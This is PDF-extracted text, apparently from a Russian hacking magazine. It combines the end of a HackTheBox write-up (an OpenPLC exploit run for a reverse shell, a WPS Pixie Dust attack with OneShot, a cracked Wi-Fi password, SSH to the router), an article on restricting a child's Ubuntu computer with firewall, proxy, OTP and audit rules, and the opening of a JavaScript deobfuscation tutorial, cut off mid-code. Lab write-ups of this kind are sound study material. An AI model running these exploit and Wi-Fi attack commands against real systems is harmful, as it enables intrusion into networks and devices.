/compile-program?file=681871.st

/programs

Со дер жимое стра ницы Programs

Тут есть и дру гой файл — , который был заг ружен доволь- 
но дав но. Видимо, под разуме вает ся файл, который дол жен находить ся в сис- 
теме по умол чанию, поэто му я изме нил код, ука зав вмес то  файл

.

blank_program.st

681871.st
blank_program.st

    compile_program = options.url + '/compile-program?file=blank_program.
st'

Ис ходный код экс пло ита

Про веря ем, работа ет ли лис тенер, и заново запус каем экс пло ит. В этот раз
он выдал ту же самую ошиб ку, но сес сия в pwncat при лете ла.

python3 49803.py  -u http://10.10.11.7:8080/ -l openplc -p openplc -i
10.10.16.143 -r 4321 

Мы получа ем шелл и можем заб рать флаг поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сес сия, которую мы получи ли, уже работа ет в кон тек сте рута, но фла га рута
на этой машине нет. Зна чит, для решения лабора тории нуж но прод вижение
на дру гой хост. Машина Winetic была свя зана со взло мом точ ки Wi-Fi, так что
мож но пред положить, что наша WineticTwo тоже зат рагива ет эту тему. Что ж,
давай копать в этом нап равле нии.

Пер вым делом коман дой  получим информа цию о сетевых

интерфей сах.

ifconfig

Ин форма ция о сетевых интерфей сах

В спис ке есть интерфейс для бес про вод ного соеди нения — .

С помощью коман ды  мож но не толь ко получить све дения о текущем
соеди нении, наз вании сети и номере канала Wi-Fi, но и обна ружить точ ки
дос тупа, ука зав параметр .

wlan0
iw dev

scan

iw dev wlan0 scan 

Ре зуль тат ска ниро вания бес про вод ных сетей

Нам дос тупна точ ка  (параметр SSID), которая исполь зует

не самый надеж ный механизм аутен тифика ции — WPS (Wi-Fi Protected Setup).
Этот стан дарт раз работан для упро щения нас трой ки бес про вод ной сети
и поз воля ет под клю чить ся к сети с помощью вось миз начно го ПИН-кода (при
этом вось мая циф ра — это чек-сум ма). Но про токол WPS уяз вим к нес коль- 
ким ата кам, самая популяр ная из которых — Pixie Dust.

plcrouter

Од но из спе циаль ных сооб щений ( ), которое роутер отправ ляет кли енту,

содер жит осо бые хеши  и . Эти хеши вычис ляют ся сле- 

дующим обра зом.

M3
E-Hash1 E-Hash2

E-Hash1 = HMAC-SHA-256(authkey) (E-S1 | PSK1 | PKE | PKR) 
E-Hash2 = HMAC-SHA-256(authkey) (E-S2 | PSK2 | PKE | PKR) 

 и  — слу чай ные 128-бит ные чис ла;• E-S1 E-S2

 — пер вые четыре циф ры WPS PIN,  — осталь ные четыре циф ры
WPS PIN;

• PSK1 PSK2

 — пуб личный ключ роуте ра;• PKE

 — пуб личный ключ кли ента.• PKR

Та ким обра зом, неиз вес тны зна чения  и ,  и . При этом

если мы узна ем чис ла  и , то смо жем лег ко подоб рать PIN. Мно гие

роуте ры исполь зуют в качес тве этих парамет ров пос тоян ные чис ла, а некото- 
рые и вов се зна чение 0, что дела ет воз можным быс трый под бор WPS PIN.

E-S1 E-S2 PSK1 PSK2
E-S1 E-S2

Для выпол нения ата ки вос поль зуем ся скрип том , которо му нуж но

передать BSSID точ ки дос тупа.

OneShot

python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K

Ре зуль тат работы скрип та

В течение пяти минут получа ем валид ный PIN и пароль от точ ки дос тупа. Что- 
бы под клю чить ся к Wi-Fi из тер минала, будем исполь зовать ути литу

, но спер ва для нее нуж но сде лать файл с нас трой ками.

А для это го есть дру гая ути лита — .

wpa_supplicant

wpa_passphrase

 wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > plcrouter.
config 

 wpa_supplicant -B -c plcrouter.config -i wlan0 

Под клю чение к точ ке дос тупа

Хоть мы и под клю чились к точ ке дос тупа, но IP-адрес нам не дали.

Ин форма ция о сетевых интерфей сах

Наз начим адрес самос тоятель но. Исполь зуем стан дар тную для роуте ров Wi-
Fi-сеть .192.168.1.0

ifconfig wlan0 192.168.1.22 netmask 255.255.255.0 

Ин форма ция о сетевых интерфей сах

Ос талось под клю чить ся к роуте ру и заб рать флаг. Пароль у нас не зап росят.

ssh root@192.168.1.1 

Флаг рута

Ро утер зах вачен!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.exploit-db.com/exploits/49803
https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.py
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ПРИВАТНОСТЬ

Ес ли у тебя есть дети, ты зна ешь, что
в наше вре мя к обыч ному набору родитель-
ских обя зан ностей неиз бежно добав ляет ся
еще одна: вытащить чадо из ому та компь-
ютер ных игр и «Тик тока», зас тавив его
учить ся. Обыч ные прог раммы родитель ско- 
го кон тро ля неэф фектив ны, поэто му мы
решим эту задачу самос тоятель но — пра- 
виль но нас тро ив опе раци онную сис тему
на при мере Ubuntu Linux.

Под рос тки по при роде сво ей весь ма пыт ливы и целе устрем ленны, если дело
не каса ется воп росов обра зова ния. Но глав ное — они име ют запас вре мени,
сущес твен но пре вос ходящий твой. В какой-то момент юный падаван заяв- 
ляет, что ему для уче бы нужен компь ютер. Ага, дума ешь ты, зна ем мы эту уче- 
бу. Сам в свое вре мя «учил ся» ночи нап ролет, вла делец палат ки с игро выми
СD сме нил аж три мер седеса с тво их заносов.

Боль шинс тво домаш них ком пов, как извес тно, работа ют под управле нием
Windows, а с родитель ским кон тро лем в этой сис теме все неод нознач но.
Подоб ные прог раммы либо сто ят денег, либо не работа ют сов сем. В 10-й
вин де что-то мож но было накол хозить с помощью Software Restriction Policies
(SRP), но в Windows 11 этот инс тру мент выпили ли: по мне нию раз работ чиков,
эта фун кция лиш няя для домаш них сетей.

Вы вод нап рашива ется оче вид ный: нуж но при учать юное поколе ние к Linux
в виде самого популяр ного дис три бути ва — Ubuntu. А пока нас ледни ки будут
искать в гуг ле, как обой ти воз веден ные тобою пре пятс твия, волей-неволей
научат ся работать с этой сис темой.

WWW

Ес ли тебе неохо та пос ле каж дого катак лизма вос- 
ста нав ливать работу сис темы вруч ную, мож но
вос поль зовать ся 

, который пред назна чен для нас трой ки
рабочей стан ции под управле нием Ubuntu
в качес тве учеб ной машины.

го товым набором сце нари ев
safews4lin

ÂÎÇÌÎÆÍÛÅ ÓÃÐÎÇÛ È ÈÕ ÍÅÉÒÐÀËÈÇÀÖÈß

В информа цион ной безопас ности про екти рова ние тех ничес ких решений
начина ется с пос тро ения модели наруши теля. Пос коль ку наруши теля мы зна- 
ем бук валь но с пеленок, это добав ляет опре делен ные штри хи как к его
поведе нию, так и к воз можным мерам про тиво дей ствия. Нап ример, угро за
физичес кого вскры тия ноут бука эффектив нее все го бло киру ется орга низа- 
цион ными мерами. Наруши тели пре дуп режде ны, что ноут бук фик сиру ет факт
сня тия крыш ки (на самом деле нет, но об этом, кро ме тебя, ник то не зна ет),
и если что, то ой. В самом край нем слу чае мож но зас верлить пару вин тов
на ниж ней крыш ке: что бы вскрыть ноут, их при дет ся раз воротить до кон ца. А с
уче том того, что руки нынеш ней молоде жи заточе ны под чатики и тик токи, эту
угро зу мож но счи тать нез начитель ной.

Ог раничить исполь зование фле шек у нас воз можнос ти нет вооб ще. Не в
силу архи тек турных осо бен ностей сис темы, а потому, что они нуж ны для уче- 
бы. То есть ребенок, ско рее все го, при тащит на съем ных носите лях домой
все что угод но, вклю чая экс пло иты, игры и про чую дре бедень. С этим при дет- 
ся сми рить ся как с неиз бежным злом, пос коль ку, кро ме раз вле чений,
молодая поросль занята прог рамми рова нием, а там без запус ка сво его соф- 
та никуда.

До бав ляет слож ностей и невысо кий уро вень кри тичес кого мыш ления
у субъ ектов защиты. Если в опи сании прог раммы будет написа но «взлом щик
все го», «зараба тываль щик бит коинов не при ходя в соз нание»
или «минус-зиродей-экс пло ит», это с высокой веро ятностью будет ска чано
и запуще но.

BIOS

Па роль на вход в BIOS нужен обя затель но. Ина че «зло умыш ленни ки» прос то
вот кнут заг рузоч ную флеш ку и поп равят что надо, не отхо дя от кас сы.
Рекомен дую зап ретить в нас трой ках выбор заг рузоч ного носите ля, порядок
заг рузки дол жен быть при бит гвоз дями (записать бол ванку или рас катать заг-
рузоч ную флеш ку и вот кнуть ее в при вод мно го ума не надо).

GRUB

Па роль на кон фигура цию заг рузчи ка тоже обя зате лен. Параметр 

 — пер вое, что посове туют школь нику в интерне те. А так совет чики слег- 

ка под расте ряют авто ритет. Recovery mode тоже прячь под пароль, ина че все
про изой дет лишь чуть мед леннее (а может, и быс трее). Для уско рения про- 
цеду ры нас трой ки есть сце нарий , который соз даст поль- 

зовате ля и раз решит ему бес пароль ную заг рузку по умол чанию.

init=/bin/
bash

bin/init.grub.sh

ÏÀÐÎËÈ

Важ ный момент по поводу паролей. Оче вид но, что они дол жны быть слож- 
ными и труд но под бира емы ми. На вся кий слу чай луч ше записать их на бумаж- 
ку и хра нить где-нибудь в укромном мес те. Можешь, конеч но, запих нуть лис- 
ток в сейф, но тог да он рис кует стать объ ектом повышен ного инте реса и пос- 
тра дает уже не толь ко ноут бук. Мой совет — отне си бумаж ку с пароля ми
на работу. Слу чись что, сос лужив цы зачита ют по телефо ну. Вари ант, что
наруши тель поз вонит тво ему кол леге и выманит пароль методом соци аль ной
инже нерии, пока не рас смат рива ем. Искрен не наде юсь, что такой уро вень
ком петен ции будет дос тигнут к момен ту, ког да заборы уже ста нут не нуж ны.

Ес ли пароль ста тич ный, он дол жен быть длин ным. Под росток, у которо го
име ется мас са вре мени и есть цель, спо собен месяца ми под бирать пароль
по фраг менту, который он запом нил, под гля дывая через пле чо. И никакие
задер жки вво да его не оста новят. Lockout after failed attempts вооб ще дол жен
быть отклю чен: сам же потом будешь смот реть на над пись «Учет ная запись
заб локиро вана» и гадать, это ты пароль забыл или тебе помог ли.

ÊÎÍÒÐÎËÜ ÄÎÑÒÓÏÀ Â ÈÍÒÅÐÍÅÒ

Ах, этот чудес ный интернет. В юнос ти мне казалось, что люди, получив шие
дос туп ко всем зна ниям мира, смо гут теперь учить ся всег да и вез де, вес ти
философ ские беседы с луч шими ума ми со всех кон цов све та, изу чать инос- 
тран ные язы ки, обща ясь с их носите лями. Одна ко что-то пош ло не так.

На ша задача — нап равить любоз натель ность ребен ка в конс трук тивное
рус ло, по воз можнос ти огра ничив ему дос туп к учеб ным матери алам уров ня
«как пра виль но запихать „Мен тос“ в пеп си-колу». Воп рос — каким обра зом?

На ибо лее рас простра нен ный под ход в виде спис ка «неп равиль ных сай- 
тов» совер шенно неп ригоден в реаль ной жиз ни. Это толь ко в мар кетин говых
матери алах хорошо смот рится фра за «Наши спе циалис ты при под дер жке
искусс твен ного интеллек та регуляр но попол няют спи сок нежела тель ных
ресур сов». За кад ром оста ется то, что у про изво дите лей «бул лщит-кон тента»
(я тоже умею в молодеж ный сленг) мил лион рук и работа ют они круг лосуточ- 
но, при чем на совесть. А у экспер тов рук все го две 

, и вот они работа ют все го лишь сорок часов в неделю, при чем
за зар пла ту нек рупно го насеко мого. Это бит ва, про игранная с самого начала.

при чем обе — из извес- 
тно го мес та

По тому самый надеж ный и эко ном ный путь — откры ваем дос туп толь ко
к заведо мо пра виль ному. Ука зан ный спо соб в детс тве успешно испы тали
на авто ре этих строк, и я не могу ска зать о нем ничего пло хого. Ресур сы
со вся кой мурой по стран ному сов падению кон цен три руют ся за буг ром,
поэто му пер вый и самый оче вид ный шаг — огра ниче ние дос тупа рунетом.
Отправ ная точ ка — перечень сетей зоны RU. Автор подоб рал некую базу,
сох ранил ее в файл  и начал с нее.data/runet.db

Ог раниче ние исхо дяще го тра фика нас тра ивает ся через 

при помощи ком бинации  для чле нов груп пы 

с GID . При мене ние  обус ловле но тем, что спис ки весь ма велики и,
если попытать ся их запихать в , это даст прям сущес твен ную про- 

сад ку в быс тро дей ствии. Соз даем спи сок под сетей, нап ример ipv4:

-j DROP
ipset/iptables safeusers

8425 ipset
iptables

ipset create allow_v4 hash:net family inet hashsize 32768 maxelem 
128000 counters comment 
ipset add allow_v4 5.167.151.0/24 packets 0 bytes 0 comment "runet.
db"
... 

Вы пол няем про вер ку адре са наз начения на сов падение в iptables:

 iptables -A OUTPUT -m owner --gid-owner 8425 --suppl-groups -j safe_
output 
iptables -A safe_output -d 127.0.0.0/24 -j ACCEPT 

  iptables -A safe_output -m set --match-set deny_v4 dst -j DROP 
  iptables -A safe_output -m set --match-set allow_v4 dst -j ACCEPT 
 LOG  iptables -A safe_output -j --log-prefix "[SAFEWS]"

iptables -A safe_output -j DROP 

Все это хозяй ство ини циали зиру ем при помощи пакетов 

 и . Вто рой за счет сис темы пла гинов поз- 
воля ет под гру жать в том чис ле и пра вила , если сце нарий ини циали- 

зации положить, нап ример, в 

.

iptables-
persistent netfilter-persistent

ipset
/usr/share/netfilter-persistent/plugins.

d/10-ipset
Те перь вклю чаем нуж ного поль зовате ля в груп пу 

, и в учеб ное вре мя — уже никаких юту бов и про чих изли шеств.

Коман ды  и ,
запус каемые из кро на, поз воля ют в нуж ные момен ты взво дить и сни мать
огра ниче ния.

usermod -aG safeusers
rediska

netfilter-persistent flush netfilter-persistent start

Для уско рения про цеду ры мож но выпол нить от име ни рута сце нарий 

 из ком плек та , который все сде лает сам (для
Ubuntu 20.04 точ но).

bin/
init.network.sh safews4lin

INFO

Важ ный момент: по умол чанию дос тупа к локал ке
на ком пе не будет. Не давая ребен ку воз- 
можность вый ти в локал ку, ты сох ранишь девс- 
твен ность сво его китай ско го роуте ра, не пат- 
ченно го со вре мен динас тии Цинь, и NAS’а того
же уров ня защищен ности.

ÏÐÈÎÒÊÐÛÂÀÅÌ ÎÊÍÎ Â ÀÌÅÐÈÊÓ

«Что это за вой несет ся с болот? Вы слы шите, Холмс?» Это кто-то пла чет
по Stack Overow и гуг лу, с которых он копипас тил решения задач
по информа тике. Не будем делать вид, что сами поль зуем ся толь ко
Яндексом, рас ширим нашу схе му прок си-сер вером, который в допол нение
к  будет давать дос туп по белому спис ку доменов. Оче вид ный кан- 
дидат — Squid.
runet.db

На базе «Скви да» интернет-затей ники соору жают самые раз нооб разные
конс трук ции, в том чис ле с кон тент-филь тра цией, но это под разуме вает внед- 
рение в схе му MITM-прок си. Если судить по докумен тации, ука зан ный метод
поз воля ет нас тра ивать филь тры на «пло хие сло ва» и все такое. Но автор пока
не подоб рал вари анта, который огра ничи вал ся бы прос той прок сей.

Схе ма будет стан дар тная, а не проз рачная, так как пос ледняя тре бует
уста нов ки в кли ент ское при ложе ние самопод писан ных сер тифика тов, что
не всег да воз можно. В моем слу чае кам нем прет кно вения стал кас томный
дис три бутив VSCode, который от таких поворо тов судь бы перес тал
обновлять ся и цеп лять ся к сис теме обу чения. Из-за это го же приш лось отка- 
зать ся от ALT Linux как базы для про екта и делать все на «Убун те».

Как показа ла прак тика, подопеч ные начина ют тащить отку да попало раз- 
ные бра узе ры, в том чис ле с под дер жкой Tor и про чих безоб разий. В общем,
самый прос той метод работа ет так: говори, куда кон крет но тебе нужен дос- 
туп, мы его добав ляем, сам про писы вай прок си в нас трой ках, и будет тебе
счастье. , иду щий в сос таве про екта, в клю чевой час ти дос таточ- 

но прост:

Squid.conf

 acl blacklist url_regex -i "/etc/squid/lists/blacklist"
 acl whitelist url_regex -i "/etc/squid/lists/whitelist"

acl whiteip dst "/etc/squid/lists/whiteip"
… 
http_access deny blacklist 
http_access allow whitelist 
http_access allow whiteip 
http_access deny all 

Фут болим все, что в чер ном спис ке (сде лано в пер вую оче редь для сай тов,
которые про ходят по acl whiteip), откры ваем сай ты по белому спис ку (плю- 
шевый вари ант есть в про екте ) и раз реша ем выход в рунет

(исполь зует ся копия базы , которую «Сквид» впол не бод ро жует).

safews4lin
runet.db

ÄÎÁÀÂËßÅÌ ÍÅÌÍÎÃÎ ÍÅÄÎÈÍÒÅËËÅÊÒÀ

Иног да выяс няет ся, что спи сок сетей рунета кри вой, непол ный или нужен
дос туп к сети без Squid. В свя зи с этим я добавил модуль ана лити ки по whois-
записям. Whois database — это некая гло баль ная база дан ных, в которую
регис тра торы вно сят записи о доменах и сетях. Поэто му о любом адре се
мож но получить доволь но объ емную справ ку, в которой ука заны парамет ры,
свя зан ные с вла дель цем диапа зона. В час тнос ти, номер авто ном ной сис темы
и имя опе рато ра. Это весь ма удоб но. Нап ример, добавив в спи сок пра вил
вот такие записи:

## На каждую автономку выполняется проверка условий из списка
## Если есть хотя бы одно совпадение, доступ разрешается
validate: 

     - d['asn_country_code'] == "RU"
     - d['asn_description'] == "CANONICAL-AS, GB"

при попыт ке стук нуть ся на сайт «Убун ты» служ ба  отра пор тует

что-то подоб ное:

iptracker

[get_whois]: External lookup for 185.125.188.61 -> 185.125.188.0/23 
-> CANONICAL-AS, GB -> GB 
[check_ip]: external db requested for 185.125.188.61 
[validate_whois]: 185.125.188.0/23 validated with d['asn_
description'] == "CANONICAL-AS, GB" 

Это поз воля ет не забивать голову струк турой, сто ящей за обес печени ем
фун кци они рова ния круп ных сай тов, и раз решать дос туп сра зу целиком к под- 
сетям. Так как в кон фиге ука зыва ются Python-выраже ния, то мож но запилить
хоть вызов Али сы, глав ное, что бы выраже ние было в сос тоянии разыме- 
новать ся в True/False.

Нас тра ивает ся все в одно дви жение вызовом сце нария 

 из ком плек та скрип тов .

bin/init.whois.
sh safews4lin

AUTOSSH

От дель ная задача — орга низо вать уда лен ный дос туп к машине, которая
сидит за NAT’ом. Пред ставь, ты на работе, раз дает ся зво нок, и реки слез про- 
лива ются в труб ку: «Сроч но нужен админ ский пароль! Объ яснить не могу, сам
все нас трою и, чес сло во, ничего боль ше тро гать не буду».

Об ратный тун нель с тво ей машины на домаш нюю поз волит изба вить чадо
от рис ка нат рудить руч ки. Если есть желание, мож но исполь зовать готовые
решения, но то, что я про бовал, иног да очень стран но себя ведет, поэто му
приш лось взять за осно ву пос конный .autossh

За нас трой ку этой фун кции отве чает сце нарий ,

который генерит клю чевую пару и под вешива ет  сле дующе го

вида:

bin/init.autossh.sh
systemd-unit

[Unit]
Description=AutoSSH tunnel to Ubuntu-VPS
After=network-online.target

[Service]
Environment="AUTOSSH_GATETIME=0"
ExecStart=/usr/bin/autossh -M 0 -o "ServerAliveInterval 30" -o 
"ServerAliveCountMax 3" -o "ExitOnForwardFailure=yes" -i $IDENT -N 
-R 8422:localhost:22 $dst

[Install]
WantedBy=multi-user.target

По фак ту появ ления сети машина фор вардит порт  с тво ей тач ки, име- 

ющей белый IP, на . Теперь ты можешь заходить и нас тра ивать
что угод но. Не забудь на внеш ней машине пос тавить шелл для тун нель ного
поль зовате ля , прос то на вся кий слу чай.

8422
localhost:22

/bin/true

OTP

Ес ли ты дума ешь, что длин ный и слож ный пароль подоб рать невоз можно, то
ты прос то нез наком со всей глу биной челове чес кого коварс тва. Сюжет: тебя
сроч но вызыва ют в  дет скую — надо ввес ти пароль и пос тавить
очень важ ную и нуж ную прог рамму. Ноут сто ит не на сто ле, а почему-то
на пер вом эта же двухъ ярус ной кро вати, и набирать надо имен но там. Нет,
тро гать компь ютер нель зя, ина че все сло мает ся.

сы нар ник

Не будем упи рать ся, наберем, нам не жал ко. Пишем сооб щение
в WhatsApp, что опе рация прош ла успешно, и тут у вас над головой что-то
трень кает. Ой, а там к пол ке вто рого эта жа слу чай но при лип телефон
в режиме съем ки видео... К сожале нию, «зло умыш ленни ки» забыли вык лючить
звук, что и сор вало впол не рабочий план.

Ко роче, рано или поз дно пароль ты спа лишь. На помощь нам при дет OTP.
Аппа рат ный токен — пло хой вари ант, его мож но на вре мя одол жить (ты же
не будешь носить его все вре мя при себе), под снять ПИН-код — и при вет.
А вот одно разо вые пароли через какой-нибудь Google Authenticator изба вят
тебя от этой проб лемы.

Толь ко важ ный момент: если твой телефон — про ход ной двор, при ложе- 
ние для генера ции луч ше дер жать на дру гом устрой стве. Авто нас трой ка
с исполь зовани ем скрип та  добавит в 

 сле дующие строч ки:

bin/init.otp.sh /etc/pam.d/common-
auth

auth 1 [default= success=ignore] pam_succeed_if.so quiet user ingroup 
otp 
auth required pam_google_authenticator.so 

Это вклю чит тре бова ние двух фактор ной аутен тифика ции для чле нов груп пы
. Оста нет ся толь ко сге нерить зат равку, выпол нив под нуж ным поль зовате- 

лем коман ду , и дело в шля пе.

otp
google-authenticator

ÊÎÍÒÐÎËÜ ÓÙÅÐÁÀ

На слу чай если «наруши тель» все-таки доб рался до адми нис тра тив ных при- 
виле гий, нам нужен приз нак сос тояв шей ся ком про мета ции. На началь ном
уров не впол не дос таточ но иметь , который нак роет типовые сце- 
нарии типа «добав лю в  запуск нет ката с башем».

etckeeper
init.d

При этом, понят ное дело, при дет ся фик сировать хеш пос ледне го ком мита,
а зачис тка базы явля ется при чиной перена катить все с бэкапа и сме нить
учет ные дан ные. Но, ско рее все го, будучи уже не раз пой ман ным, уче ник пой- 
мет, что уда ление логов — это пло хая прак тика, и будет дей ство вать хит рее.
Нап ример, замес тит какой-нибудь бинар ник врап пером, а то и сам  изба- 
вит от вред ной при выч ки сда вать вла дель ца. Пока это в будущем, меры ней- 
тра лиза ции не про дума ны, так что еще есть над чем порабо тать.

git

ÀÓÄÈÒ

Аудит мож но вклю чить в облегчен ном вари анте, ког да для кон крет ной груп пы
все события фик сиру ются , с выделе нием в отдель ную катего рию

событий запус ка фай лов, вла делец которых не root (нап ример, что-то ска чали
из интерне та и запус тили). Для это го соз дадим файл 

 сле дующе го содер жания:

exec

/etc/audit/rules.d/
safews.rules

 b64 0  -a always,exit -F arch= -F obj_uid!= -F gid=safeusers -S execve 
-k execnonroot 

 b32 0  -a always,exit -F arch= -F obj_uid!= -F gid=safeusers -S execve 
-k execnonroot 

  b64  -a exit,always -F arch= -F gid=safeusers -S execve -k execsafe 
  b32  -a exit,always -F arch= -F gid=safeusers -S execve -k execsafe 

Те перь мож но сде лать выбор ку по нуж ным клю чам и вов ремя при нять меры:

 root@safews:~/safews4lin# ausearch -i -k execnonroot 
… 

PATH audit  : 0 
:05 

none none 0 
0 0 

type= msg= (16.07.2024 13:48:53.444:170) item= name=./
true inode=393746 dev=fc mode=file,755 ouid=rediska ogid=rediska 
rdev=00:00 nametype=NORMAL cap_fp= cap_fi= cap_fe= cap_fver=
cap_frootid=

CWD audit  : type= msg= (16.07.2024 13:48:53.444:170) cwd=/home/rediska 
audit  : 1 type=EXECVE msg= (16.07.2024 13:48:53.444:170) argc= a0=./true 

По мере раз вития событий пла ниру ется наб росать какой-никакой ана лиза- 
тор, который смо жет давать отбой ки в слу чае необыч ного поведе ния поль- 
зовате ля, но пока это прос то воз можность раз бора полетов по сле дам уже
про изо шед шего инци ден та.

ÂÛÂÎÄÛ

Мо жет показать ся, что автор сгу щает крас ки. Тем не менее с проб лемой
«ребенок сут ками залипа ет в „Роб локсе“ и не жела ет отту да вылезать» стал- 
кива ются мно гие родите ли. Наде юсь, эта инс трук ция поможет решить проб- 
лему хотя бы отчасти — как минимум зас тавит чадо изу чить архи тек туру Linux,
что бы обой ти воз двиг нутые тобой огра ниче ния. А этот навык обя затель но
при годит ся в жиз ни.

mailto:i@brumbad.ru
https://gitflic.ru/project/konsul/safews4lin


МВК

ВЗЛОМ

В этой статье я рас ска жу, как самос- 
тоятель но обхо дить обфуска цию JavaScript
в тех слу чаях, ког да не помога ют даже нес- 
тандар тные деоб фуска торы. Мы рас смот- 
рим метод иссле дова ния запутан ного кода
и напишем свой собс твен ный деоб фуска- 
тор.

Сре ди читате лей навер няка есть те, кому тема скрип товой обфуска ции гораз- 
до милее ассем бле ра и про чего низ коуров невого кол дунс тва. Имен но это му
воп росу была пос вящена, нап ример, моя недав няя статья «

» или упо мина емая в ней 
. Но что делать, если перечис ленные в этой

статье кас томные деоб фуска торы не помога ют? В таком слу чае обфуска цию
при дет ся обхо дить самос тоятель но, и сей час я рас ска жу, как это дела ется.

JSFuck. Раз бира- 
ем уни каль ный метод обфуска ции JS-кода об зорная
статья про обфуска торы на Хаб ре

ÈÑÏÎËÜÇÓÅÌ ÀÂÒÎÌÀÒÈ×ÅÑÊÈÅ ÄÅÎÁÔÓÑÊÀÒÎÐÛ

Для при мера возь мем некое бра узер ное JavaScript-при ложе ние. Объ ем его
сос тавля ет око ло трех мегабайт, при мер но три чет верти из которых занима ет
жес тко обфусци рован ный код, начина ющий ся так, как показа но на сле- 
дующем скрин шоте.

А закан чива ется этот код вот так.

Ес ли ты уже успел озна комить ся с , харак терные
име на иден тифика торов ( , , ) дол- 

жны были натол кнуть тебя на мысль, что код запутан обфуска тором
obfuscator.io. Одна ко попыт ка деоб фуска ции его 

 при любых нас трой ках не при носит положи тель ного резуль тата:
чита емый код в пра вом окне прос то не появ ляет ся.

упо мяну той выше стать ей
_0x58cd18 _0x2f8935_0x321d33 _0x1e0595

стан дар тным онлайн-деоб- 
фуска тором

Точ но так же не при носят резуль татов и попыт ки деоб фуска ции дру гими упо- 
мяну тыми в статье инс тру мен тами. Нап ример, уни вер саль ный деоб фуска тор

 выда ет совер шенно неин форма тив ный резуль тат.de4js

По хоже, надеж ды на авто мати чес кие деоб фуска торы мало и нам при дет ся
учить ся работать руками.

INFO

За бегая впе ред, ска жу, что перечис ленны ми
выше инс тру мен тами мы не исчерпа ли все средс- 
тва авто мати чес кой деоб фуска ции. Нап ример,
мож но попытать ся опти мизи ровать код через

. Авто мати чес ки деоб фусци- 
ровать подоб ный код уме ет про ект ,
но давай все-таки сде лаем вид, что с исполь- 
зовани ем авто мати чес ких средств у нас ничего
не выш ло, — так нам ного инте рес нее!

ней росеть Llama
webcrack

ÄÅÎÁÔÓÑÖÈÐÓÅÌ ÊÎÄ ÂÐÓ×ÍÓÞ

Для начала нат равим на сырой код , дабы при дать ему читабель- 
ность. Про бежав шись по теперь уже струк туриро ван ному коду, обра щаем
вни мание на мно гочис ленные вызовы фун кций с десятью шес тнад цатерич- 
ными кон стан тами в виде парамет ров:

JS Beautier

       
  

_0x4a0111(0xa0c, 0xc0b, 0x13ef, 0x1e3e, 0x15e2, 0x1a29, 0x1b08, 0x94b
, 0x968, 0x753)

        
 

_0x114a88(-0x6d, 0x126c, 0x621, 0xa59, -0x5f2, 0x72a, 0x6cf, 0x8a,
0xbf9, -0x4b4)

        
 

_0x27e22f(0xbf2, 0x670, 0xe4, 0x132e, 0x1267, 0xbf9, -0xb6, 0x697,
0x51f, 0x6da)

       
  

_0x1e51ce(0xe58, 0x1b5e, 0x2457, 0x191a, 0x224a, 0x133c, 0xf61,
0x1c11, 0x128d, 0xc77)

       
  

_0x33055f(0x16f4, 0x1704, 0xbaf, 0x231d, 0x163e, 0x161a, 0xca1,
0x15ba, 0x1c3f, 0x1649)

        
 

_0x1b164c(0x485, -0x398, 0x1e0, 0xf51, 0xcdd, 0x2de, 0xfea, 0x82f, -
0x54a, 0x37)
...

Ло гич но пред положить, что таким обра зом зашиф рованы кон стан ты, которые
пер вым делом надо перевес ти в нор маль ный чита емый вид. Как обыч но, нач- 
нем с кон ца. Код закан чива ется сле дующим фраг ментом:

...
  } catch (_0x321d33) {

      
   

       console[_0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992,
0x665, 0xf98, 0x185b, 0x1073)](_0x321d33);
   }
});

Ес ли мыс лить логичес ки, это , то есть 

. Поп робу ем про вер нуть этот фарш назад: ищем в коде

стро ку :

console.log(_0x321d33) _0x1e0595(
0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 0x665, 0xf98, 0x185b,
0x1073) == "log"

function _0x1e0595

     
      

function _0x1e0595(_0x4bc581, _0x4ecbba, _0x1d5a39, _0x50dcae,
_0x403da8, _0x4ad34e, _0x2b446e, _0x3b51da, _0x44854e, _0x1491c6) {
            

           
        

return _0x340121(_0x1491c6 - 0x5ff, _0x4ecbba - 0xb8, _0x1d5a39 -
0xb2, _0x50dcae - 0x81, _0x403da8 - 0x80, _0x4ad34e - 0x1b, _0x2b446e
- 0x99, _0x44854e, _0x44854e - 0x72, _0x1491c6 - 0x10f);
}

Как видишь, эта хрень ссы лает ся на дру гую суб хрень по име ни .
Ищем и ее тоже:

_0x340121

     
      

function _0x340121(_0x5ae465, _0x101079, _0x1d662f, _0x55f16c,
_0x4029db, _0x3a7a06, _0x1d53e1, _0x5b0eb3, _0x4c47fe, _0x445726) {
       return _0x3a86(_0x5ae465 - -0x26c, _0x5b0eb3);
}

Эта суб хрень, в свою оче редь, ссы лает ся на про тох рень под име нем
, которая, по счастью, пос ледняя (точ нее, пер вая) в этой цепоч ке:_0x3a86

   function _0x3a86(_0x37610f, _0x5cbb3a) {
      const _0x1214fd = _0x5e2d();
        return _0x3a86 = function(_0x3aa59b, _0x1ad7b1) {

                     _0x3aa59b = _0x3aa59b - (-0x10 * -0x80 + 0x69 * -0x1 + 0xa *
-0xb5);

         _0x4072cc = _0x1214fd[_0x3aa59b];
        return _0x4072cc;

     }, _0x3a86(_0x37610f, _0x5cbb3a);
}

По ка что все прос то. Оста лось най ти мас сив стро ковых кон стант, воз вра- 
щаемый :_0x5e2d

 function _0x5e2d(){
  const _0x552e21=['t?id=','mjSUq','wcYjB','pljgg','ct:\x20<','accou'
,'nlMqS',
                  ...
                  'se,\x22s','xESCJ'];
 _0x5e2d=function(){

      return _0x552e21;
 };
  return _0x5e2d();
}

Итак, похоже, мы выч ленили минималь ный фраг мент кода, отве чающий
за генера цию обфусци рован ных строк через фун кцию :_0x1e0595

 function _0x5e2d(){
  const _0x552e21=['t?id=','mjSUq','wcYjB','pljgg','ct:\x20<','accou'
,'nlMqS',
                  ...
                  'se,\x22s','xESCJ'];
 _0x5e2d=function(){

      return _0x552e21;
 };
  return _0x5e2d();
}

   function _0x3a86(_0x37610f, _0x5cbb3a) {
      const _0x1214fd = _0x5e2d();
        return _0x3a86 = function(_0x3aa59b, _0x1ad7b1) {

                     _0x3aa59b = _0x3aa59b - (-0x10 * -0x80 + 0x69 * -0x1 + 0xa *
-0xb5);

